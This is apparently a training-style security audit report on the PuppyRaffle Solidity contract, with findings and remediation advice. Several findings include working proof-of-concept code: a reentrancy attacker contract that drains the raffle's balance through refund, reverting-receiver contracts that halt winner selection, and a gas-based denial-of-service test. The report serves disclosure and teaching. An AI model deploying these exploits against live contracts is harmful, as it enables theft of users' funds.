Puppy Raffle Initial Audit Report

Version 1.0

0x1422

August 1, 2024

Puppy Raffle Initial Audit Report

5154

August 1, 2024

Prepared by: 0x1422 Lead Auditors: - 0x1422

Table of Contents

    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is potential denial of service (DoS) attack, increment gas cost for future entrants (Root Cause + Impact)
    * [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawl.
    * [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-4] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of new constest.
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existance players and player at index zero, causing a player at Index 0 to incorrectly think they have not entered the raffle.
  - Gas
    * [G-1] Unchanged state should be declared constant or immutable.
    * [G-2] Storage variable in loop should be cached
  - Informational
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2] Using outdated version of solidity is not recommended
    * [I-3] : Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI.
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6] State Changes are Missing Events
    * [I-7] _isActivePlayer is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The 0x1422 made all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I learned reaaly cool stuff about auditing…

Issues found

Severity	Number of issues found
High	4
Medium	4
Low	1
Gas	2
Info	7
Total	18

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund()` allows entrant to drain the rafffle balance

Description:

The `PuppyRaffle::refund()` function does not follow CEI(checks, effects, interactions) and as a result enables participants to drain the contract balance.

In the `PuppyRaffle::refund()` function, we first make an external call to msg.sender address and only making that external call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund()` function again and claim another refund. They could continue to cycle this until the contract balance is drained.

Impact:

All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. Users enters the raffle. 2.Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund. 3.Attacker enters the raffle. 4.Attacker calls PuppyRaffle::refund from their contract, draining the contract balance.

Proof of Code

Code

Paste the following into PuppyRaffleTest.t.sol

```
function test_reentrancyRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new ReentrancyAttacker(
        puppyRaffle
    );
    address attackerUser = makeAddr("attackerUser");
    vm.deal(attackerUser, 1 ether);

```

```
15      uint startingAttackContractBalance = address(attackerContract).
            balance;
16      uint startingContractBalace = address(puppyRaffle).balance;
17
18      // attack
19
20      vm.prank(attackerUser);
21      attackerContract.attack{value: entranceFee}();
22
23      console.log(
24          "starting Attack Contract Balance: ",
25          startingAttackContractBalance
26      );
27      console.log("starting Contract Balace: ", startingContractBalace);
28
29      console.log(
30          "ending Attack Contract Balance: ",
31          address(attackerContract).balance
32      );
33      console.log("ending Contract Balace: ", address(puppyRaffle).
            balance);
34  }
```

And this contract as well.

```
1   contract ReentrancyAttacker {
2       PuppyRaffle puppyRaffle;
3       uint entranceFee;
4       uint attackerIndex;
5
6       constructor(PuppyRaffle _puppyRaffle) {
7           puppyRaffle = _puppyRaffle;
8           entranceFee = puppyRaffle.entranceFee();
9       }
10
11      function attack() external payable {
12          address[] memory players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
16
17          puppyRaffle.refund(attackerIndex);
18      }
19
20      function _stealMoney() internal {
21          if (address(puppyRaffle).balance >= entranceFee) {
22              puppyRaffle.refund(attackerIndex);
23          }
24      }
25
```

```
26      fallback() external payable {
27          _stealMoney();
28      }
29
30      receive() external payable {
31          _stealMoney();
32      }
33  }
```

Recommended Mitigation:

To fix this, we should have the PuppyRaffle::refund function update the players array before making the external call. Additionally, we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active");
5  +   players[playerIndex] = address(0);
6  +   emit RaffleRefunded(playerAddress);
7      (bool success,) = msg.sender.call{value: entranceFee}("");
8      require(success, "PuppyRaffle: Failed to refund player");
9  -   players[playerIndex] = address(0);
10 -   emit RaffleRefunded(playerAddress);
11 }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner. (Root Cause + Impact)

Description:

Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can manupilate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund()` if they see they are not the winner.

Impact:

Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation:

Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer Overflow of `PuppyRaffle::totalFee` looses fees

Description:

In solidity versions prior to `0.8.0` integers were subject to integer overflow.

```
uint64 myVar = type(uint64).max
//18446744073709551615

myVar = myVar + 1
// myVar will be 0
```

Impact:

In `PuppyRaffle::selectWinner`, `totalFees` are acculamuted for the `feeAddress` to collect latter in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect correct amount of fees, leaving fees permantly stuck inside contract

Proof of Concept:

1. We conclude a raffle of 4 players.
2. we then have 89 players to enter a new raffle and conclude the raffle.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
//aka
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Code:

```
function test_TotalFeesOverflow() public playersEntered {
    // we finish the raffle of 4 to collect some fees.
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    uint256 expectedPrizeAmount = ((entranceFee * 4) * 20) / 100;
    //800000000000000000
    puppyRaffle.selectWinner();

    uint64 playersNumber = 89;
    address[] memory player = new address[](playersNumber);

    for (uint160 i; i < playersNumber; i++) {
        player[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNumber}(player)
        ;

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a
        second raffle
    puppyRaffle.selectWinner();
    uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < expectedPrizeAmount);
    uint64 expectedPrizeAmount2 = ((uint64(entranceFee) *
        (playersNumber + 4)) * 20) / 100;

    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!")
        ;
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation:

There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default. `diff - pragma solidity ^0.7.6; + pragma solidity ^0.8.18;` Alternatively, if you

want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`. `diff - uint64 public totalFees = 0; + uint256 public totalFees = 0;`
3. Remove the balance check in `PuppyRaffle::withdrawFees diff - require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");` We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

[H-4] Malicious winner can forever halt the raffle

Description:

Once the winner is chosen, the selectWinner function sends the prize to the the corresponding address with an external call to the winner account.

```
1 (bool success,) = winner.call{value: prizePool}("");
2 require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact:

In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
       implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is potential denial of service (DoS) attack, increment gas cost for future entrants (Root Cause + Impact)

Description:

The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player

will have t omake. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in `player` array, is an additional check the loop will have to make.

```
// @audit DoS
@>  for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(
                players[i] != players[j],
                "PuppyRaffle: Duplicate player"
            );
        }
    }
```

Impact:

The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at ht start of raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have two sets of 100 players enter, the gas cost will be as such: - 1st 100 players: ~6252128 gas - 2nd 100 players: ~18068218 gas

This is more the 3x more expensive for the second 100 players.

PoC

place the following test into `PuppyRaffleTest.t.sol`.

```
function test_denialOfService() public {
    vm.txGasPrice(1);
    // Lets enter 100 players
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint i = 0; i < playersNum; i++) {
        players[i] = address(i);
        // console.log("Players:", players[i]);
    }
    // see how much gas is cost
    uint gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
       players);
    uint gasEnd = gasleft();

    uint gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
```

```
16
17      console.log("Gas cost of the first 100 players: ", gasUsedFirst);
18
19      address[] memory playersTwo = new address[](playersNum);
20      for (uint i = 0; i < playersNum; i++) {
21          playersTwo[i] = address(i + playersNum);
22          // console.log("Players:", playersTwo[i]);
23      }
24      // see how much gas is cost
25      uint gasStartTwo = gasleft();
26      puppyRaffle.enterRaffle{value: entranceFee * players.length}(
27          playersTwo
28      );
29      uint gasEndTwo = gasleft();
30
31      uint gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;
32
33      console.log("Gas cost of the Second 100 players: ", gasUsedSecond);
34      assert(gasUsedFirst < gasUsedSecond);
35  }
```

Recommended Mitigation:

- Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
- Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId = 0;
3      .
4      .
5      .
6      function enterRaffle(address[] memory newPlayers) public payable {
7          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8          for (uint256 i = 0; i < newPlayers.length; i++) {
9              players.push(newPlayers[i]);
10 +            addressToRaffleId[newPlayers[i]] = raffleId;
11         }
12
13 -        // Check for duplicates
14 +       // Check for duplicates only from the new players
15 +       for (uint256 i = 0; i < newPlayers.length; i++) {
16 +          require(addressToRaffleId[newPlayers[i]] != raffleId, "
   PuppyRaffle: Duplicate player");
17 +       }
18 -        for (uint256 i = 0; i < players.length; i++) {
```

```
19 -            for (uint256 j = i + 1; j < players.length; j++) {
20 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -            }
22 -        }
23          emit RaffleEnter(newPlayers);
24      }
25  .
26  .
27  .
28      function selectWinner() external {
29 +        raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

- Alternatively, you could use OpenZeppelin's EnumerableSet library.

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawl.

Description:

The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (address(this).balance). Since the contract dosen't have `payable fallback` or `receive` function, you'd think this wouldn't be possible, but a user could selfdestruct a contract with ETH in it and force funds to PuppyRaffle, breaking this check.

```
1      function withdrawFees() external {
2  @>      require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Impact:

This would prevent the feeAddress from withdrawing fees. A malicious user could see a withdrawFee transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. PuppyRaffle has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a selfdestruct
3. feeAddress is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the PuppyRaffle::withdrawFees function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of new contest.

Description:

The `PuppyRaffle::selectWinner` function is responsible for resseting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to reset.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, ut it could cost a lot due to the duplicate check and a lottery reset could het very challenging.

Impact:

The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existance players and player at index zero, causing a player at Index 0 to incorrectly think they have not entered the raffle.

Description:

If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to natspec, it will also return 0 if the player is not in the array.

```
1    function getActivePlayerIndex(
2          address player
3      ) external view returns (uint256) {
4          for (uint256 i = 0; i < players.length; i++) {
5              if (players[i] == player) {
6                  return i;
7              }
8          }
9          return 0;
10     }
```

Impact:

A player at Index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered the raffle corectly due to function documentation.

Recommended Mitigation:

The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active

Gas

[G-1] Unchanged state should be declared constant or immutable.

Reading from storage is much more expensive, than reading from constant or immutable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable`. - `PuppyRaffle::commonImageUri` should be `constant`. - `PuppyRaffle::rareImageUri` should be `constant`. - `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] Storage variable in loop should be cached

Every time you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+   uint256 playerLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playerLength - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
+       for (uint256 j = i + 1; j < playerLength; j++) {
            require(
                players[i] != players[j],
                "PuppyRaffle: Duplicate player"
            );
        }
    }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using outdated version of solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Find more about this at slither documentation

[I-3] : Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 72

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 234

```
1         feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI.

It's best to keep code clean and follow CEI (Checks, Effects, Interaction).

```
1 -         (bool success, ) = winner.call{value: prizePool}("");
2 -         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
3           _safeMint(winner, tokenId);
4 +         (bool success, ) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;

    uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
        / POOL_PRECISION;
    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
        POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```